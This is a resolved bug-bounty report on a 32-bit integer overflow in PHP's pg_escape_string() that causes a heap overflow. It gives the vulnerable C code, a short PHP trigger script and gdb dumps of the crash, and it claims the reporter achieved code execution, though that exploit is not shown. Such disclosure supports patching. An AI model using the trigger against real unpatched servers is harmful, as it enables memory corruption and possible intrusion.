Heap overflow due to integer overflow in pg_escape_string() function
Low
Vulnerability Details
The fix for this bug has been committed: https://bugs.php.net/bug.php?id=73399
Description:
------------
I have found some vulnerable code at `pg_escape_string()` function in module PostgreSQL. `pg_escape_string()` function creates a new zend_string object to store escaped string. The size of destination string depends on the size of source string. ( refer at `ext/pgsql/pgsql.c:4384` )
``` c
PHP_FUNCTION(pg_escape_string)
{
...
zend_string *from = NULL, *to = NULL;
....
to = zend_string_alloc(ZSTR_LEN(from) * 2, 0);
...
}
```
If length of `from` string is equal to PHP_INT_MAX, new string `to` will have an unexpected length. Due to missing check of size before calling
`zend_string_alloc()`, this new memory range can not use to store large data and lead to heap overflow. I can overwrite other objects of PHP in memory. This bug is only triggered in 32bit machine.
Solution:
It should be `zend_string_alloc_safe` instead of `zend_string_alloc`.
Test script:
---------------
``` php
<?php
ini_set('memory_limit', -1);
$s = str_repeat("a",0x7FFFFFFF);
$escaped = pg_escape_string($s);
?>
```
Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file `ext/pgsql/pgsql.c:4384`.
When debugger stops, we have the length of `from` string is 0x7fffffff. The size which is used as parameter in `_emalloc()` function is equal to `((0x7fffffff * 2 + 0x14 ) & 0xfffffffc)`. Due to integer overflow, new size is 0x10. The new memory region is too small to store a large string!
```
[----------------------------------registers-----------------------------------]
EAX: 0x36e00000 --> 0x2
EBX: 0x8903068 --> 0x1
ECX: 0x10
EDX: 0xbfffc0d8 --> 0x36e00000 --> 0x2
ESI: 0xb72130a0 --> 0x0
EDI: 0xfffffffe
EBP: 0x0
ESP: 0xbfffc0b0 --> 0x1
EIP: 0x81dfa4d (<zif_pg_escape_string+93>: call 0x8312c90 <_emalloc>)
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x81dfa45 <zif_pg_escape_string+85>: add edi,edi
0x81dfa47 <zif_pg_escape_string+87>: lea ecx,[edi+0x14]
0x81dfa4a <zif_pg_escape_string+90>: and ecx,0xfffffffc
=> 0x81dfa4d <zif_pg_escape_string+93>: call 0x8312c90 <_emalloc>
0x81dfa52 <zif_pg_escape_string+98>: test ebp,ebp
0x81dfa54 <zif_pg_escape_string+100>: mov ebx,eax
0x81dfa56 <zif_pg_escape_string+102>: mov DWORD PTR [eax],0x1
0x81dfa5c <zif_pg_escape_string+108>: mov DWORD PTR [eax+0x4],0x6
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbfffc0b0 --> 0x1
0004| 0xbfffc0b4 --> 0x84a3ac9 --> 0x69760053 ('a' <repeats 200 times>...)
0008| 0xbfffc0b8 --> 0xbfffc0d8 --> 0x36e00000 --> 0x2
0012| 0xbfffc0bc --> 0xbfffc0dc --> 0x7fffffff ('a' <repeats 200 times>...)
0016| 0xbfffc0c0 --> 0x89b2db0 --> 0xb7d68450 --> 0x89b3030 --> 0x0
0020| 0xbfffc0c4 --> 0x7fffffff ('a' <repeats 200 times>...)
0024| 0xbfffc0c8 --> 0x36e00000 --> 0x2
0028| 0xbfffc0cc --> 0xb725f3a8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x081dfa4d 122 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$
```
if we continue running, other memory region will be overwritten until SIGSEGV!
```
[----------------------------------registers-----------------------------------]
EAX: 0x61 ('a')
EBX: 0xb7f8b000 --> 0x2ae9c
ECX: 0x0
EDX: 0xb7400000
ESI: 0x36f96fb1 ('a' <repeats 200 times>...)
EDI: 0x7fe6905f ('a' <repeats 200 times>...)
EBP: 0xb7400001
ESP: 0xbfffc040 --> 0xbfffc090 --> 0x0
EIP: 0xb7f6d287 (<PQescapeStringInternal+119>: mov BYTE PTR [edx],al)
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7f6d27e <PQescapeStringInternal+110>: mov BYTE PTR [ebp+0x0],al
0xb7f6d281 <PQescapeStringInternal+113>: lea ebp,[edx+0x1]
0xb7f6d284 <PQescapeStringInternal+116>: add esi,0x1
=> 0xb7f6d287 <PQescapeStringInternal+119>: mov BYTE PTR [edx],al
0xb7f6d289 <PQescapeStringInternal+121>: sub edi,0x1
0xb7f6d28c <PQescapeStringInternal+124>: test edi,edi
0xb7f6d28e <PQescapeStringInternal+126>: je 0xb7f6d297 <PQescapeStringInternal+135>
0xb7f6d290 <PQescapeStringInternal+128>: movzx eax,BYTE PTR [esi]
[------------------------------------stack-------------------------------------]
0000| 0xbfffc040 --> 0xbfffc090 --> 0x0
0004| 0xbfffc044 --> 0xb7fed6cd (<_dl_fixup+205>: sub esp,0x14)
0008| 0xbfffc048 --> 0xb7fffab0 --> 0xb7fffa54 --> 0xb754496c --> 0xb7fff8f8 --> 0x0
0012| 0xbfffc04c --> 0x0
0016| 0xbfffc050 --> 0x1
0020| 0xbfffc054 --> 0x0
0024| 0xbfffc058 --> 0xb7269060 ('a' <repeats 200 times>...)
0028| 0xbfffc05c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7f6d287 in PQescapeStringInternal () from /lib/libpq.so.5
gdb-peda$
```
I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. I use PHP-7.1 (at https://github.com/php/php-src, commit 931ea5c872a0a4455c5bbb8470c7a1d049bd8501), run the attachment at local machine and get `/bin/sh`
Actions
View on HackerOneReport Stats
- Report ID: 180584
- State: Closed
- Substate: resolved
- Upvotes: 1